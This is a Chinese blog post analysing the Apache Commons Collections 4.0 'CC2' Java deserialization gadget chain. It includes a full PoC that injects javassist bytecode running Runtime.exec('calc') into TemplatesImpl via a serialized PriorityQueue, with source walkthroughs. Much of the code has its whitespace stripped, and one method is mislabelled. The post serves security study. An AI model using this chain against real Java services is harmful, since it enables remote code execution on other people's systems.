Java安全 CC链2分析
cc链2介绍
CC2链适用于Apache common collection 4.0版本,由于该版本对AnnotationInvocationHandler类的readObject方法进行了修复,导致cc链1无法使用,故产生了cc链2,cc链2与cc链3相似,都使用了字节码的加载,并且后续的触发链也基本相同
前置知识
环境配置
有关环境配置请看
Java安全 CC链1分析
不同的是由于我们需要使用的版本为cc4,故需要设置pom.xml文件依赖内容如下
<dependencies><dependency><groupId>org.javassist</groupId><artifactId>javassist</artifactId><version>3.19.0-GA</version></dependency><dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections4</artifactId><version>4.0</version></dependency></dependencies>
类加载机制
可以看这篇文章
Java安全 CC链3分析
触发流程
ysoserial中给出的链
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify();
PriorityQueue.siftDown();
siftUpUsingComparator();
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
cc链2POC
packageorg.example;importjavassist.ClassPool;importjavassist.CtClass;importorg.apache.commons.collections4.comparators.TransformingComparator;importorg.apache.commons.collections4.functors.InvokerTransformer;importjava.io.FileInputStream;importjava.io.FileOutputStream;importjava.io.ObjectInputStream;importjava.io.ObjectOutputStream;importjava.lang.reflect.Field;importjava.util.PriorityQueue;publicclass cc2 {publicstaticvoidmain(String[] args)throwsException{StringAbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";StringTemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径CtClass payload=classPool.makeClass("cc2");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet));//设置父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");//创建一个空的类初始化,设置构造函数主体为runtimebyte[] bytes=payload.toBytecode();//转换为byte数组Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(newClass[]{}).newInstance();//反射创建TemplatesImplField field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,newbyte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为testInvokerTransformer transformer=newInvokerTransformer("newTransformer",newClass[]{},newObject[]{});TransformingComparator comparator =newTransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象PriorityQueue queue =newPriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
queue.add(1);//添加数字1插入此优先级队列
queue.add(1);//添加数字1插入此优先级队列Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);//暴力反射
field2.set(queue,comparator);//设置queue的comparator字段值为comparatorField field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,newObject[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImplObjectOutputStream outputStream =newObjectOutputStream(newFileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();ObjectInputStream inputStream=newObjectInputStream(newFileInputStream("test.out"));
inputStream.readObject();}}
cc链2分析
先看下
PriorityQueue类
中的
readObject方法
,代码如下
privatevoidreadObject(java.io.ObjectInputStream s)throwsjava.io.IOException,ClassNotFoundException{
s.defaultReadObject();
s.readInt();
queue =newObject[size];for(int i =0; i < size; i++)
queue[i]= s.readObject();heapify();}
这里我们发现,会先调用
defaultReadObject()方法
将序列化文件反序列化,然后调用
readInt()方法
获取优先队列的长度
然后执行
queue[i] = s.readObject()
,将优先队列的值赋值给
queue[i]数组
,queue[i]数组值是在调用writeObject方法序列化时定义的,
queue属性为私有的,我们可以通过反射将其赋值为携带有恶意字节码的
TemplatesImpl
对象,具体利用下面有讲
在对
queue[i]
循环赋值完成后会调用
heapify()方法
,我们跟进查看其代码
privatevoidheapify(){for(int i =(size >>>1)-1; i >=0; i--)siftDown(i,(E) queue[i]);}
我们看到代码
int i = (size >>> 1) - 1;
,此代码会将优先队列的长度右移1位(缩小两倍),然后减1,如果我们想让循环正常进行的话,优先队列的长度至少为2
然后我们看到循环中的
siftDown方法
,代码如下
privatevoidsiftDown(int k,E x){if(comparator !=null)siftDownUsingComparator(k, x);elsesiftDownComparable(k, x);}
这里
E x
则为刚才传入的
queue[i]
,我们跟进到
siftDownUsingComparator方法
,代码如下
privatevoidsiftUpUsingComparator(int k,E x){while(k >0){int parent =(k -1)>>>1;Object e = queue[parent];if(comparator.compare(x,(E) e)>=0)//由此进入break;
queue[k]= e;
k = parent;}
queue[k]= x;}
这里会对
queue[i]
执行
comparator.compare
方法,我们看到
comparator属性
的定义如下
privatefinalComparator<?superE> comparator;
我们发现
comparator属性
为私有的,在poc当中通过反射把该属性的值设为了
TransformingComparator对象
,代码如下
InvokerTransformer transformer=newInvokerTransformer("newTransformer",newClass[]{},newObject[]{});TransformingComparator comparator =newTransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
我们跟进到该对象的
compare方法
,代码如下
publicintcompare(finalI obj1,finalI obj2){finalO value1 =this.transformer.transform(obj1);finalO value2 =this.transformer.transform(obj2);returnthis.decorated.compare(value1, value2);}
这里调用了
InvokerTransformer对象
**(transformer属性)**的
transform方法
,我们跟进查看代码
publicOtransform(finalObject input){if(input ==null){returnnull;}try{finalClass<?> cls = input.getClass();finalMethod method = cls.getMethod(iMethodName, iParamTypes);return(O) method.invoke(input, iArgs);}catch(finalNoSuchMethodException ex){thrownewFunctorException("InvokerTransformer: The method '"+ iMethodName +"' on '"+
input.getClass()+"' does not exist");}catch(finalIllegalAccessException ex){thrownewFunctorException("InvokerTransformer: The method '"+ iMethodName +"' on '"+
input.getClass()+"' cannot be accessed");}catch(finalInvocationTargetException ex){thrownewFunctorException("InvokerTransformer: The method '"+ iMethodName +"' on '"+
input.getClass()+"' threw an exception", ex);}}
这里的
input属性
仍为之前的
queue[i]
,
iMethodName属性
的值为我们创建对象时,通过构造方法穿进去的
"newTransformer"
method.invoke(input, iArgs);
这句代码会调用
queue[i]
的
newTransformer
方法
**poc中的
queue[0]
被赋值为
TemplatesImpl对象
**,定义如下
Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,newObject[]{templatesImpl,templatesImpl});//templatesImpl即为携带恶意静态代码的对象
下面流程基本和cc3相同了
我们跟进到
TemplatesImpl对象
的
newTransformer
方法,代码如下
publicsynchronizedTransformernewTransformer()throwsTransformerConfigurationException{TransformerImpl transformer;
transformer =newTransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);//关键语句if(_uriResolver !=null){
transformer.setURIResolver(_uriResolver);}if(_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)){
transformer.setSecureProcessing(true);}return transformer;}
我们代码中标注的关键语句调用了
getTransletInstance()
方法,我们查看其代码如下
privateTransletgetTransletInstance()throwsTransformerConfigurationException{try{if(_name ==null)returnnull;if(_class ==null)defineTransletClasses();AbstractTranslet translet =(AbstractTranslet) _class[_transletIndex].newInstance();
……………………
}
可以看到假如满足
if (_name != null)
且
if (_class == null)
的话会调用
defineTransletClasses()方法
,代码如下
privatestaticStringABSTRACT_TRANSLET="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";privatevoiddefineTransletClasses()throwsTransformerConfigurationException{if(_bytecodes ==null){ErrorMsg err =newErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);thrownewTransformerConfigurationException(err.toString());}
…………
for(int i =0; i < classCount; i++){
_class[i]= loader.defineClass(_bytecodes[i]);finalClass superClass = _class[i].getSuperclass();//注意if(superClass.getName().equals(ABSTRACT_TRANSLET)){
_transletIndex = i;}
…………
}
这里会加载携带恶意静态代码的字节流类
_bytecodes
复制给数组
_class[i]
,然后回到
getTransletInstance()
方法
执行
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
这里会将刚才携带恶意代码的类进行初始化执行静态恶意代码,到此攻击完成
需要注意的是我们构造的这个字节流序列化对象要为
AbstractTranslet类
的子类
成功弹出计算器
版权归原作者 Elitewa 所有, 如有侵权,请联系我们删除。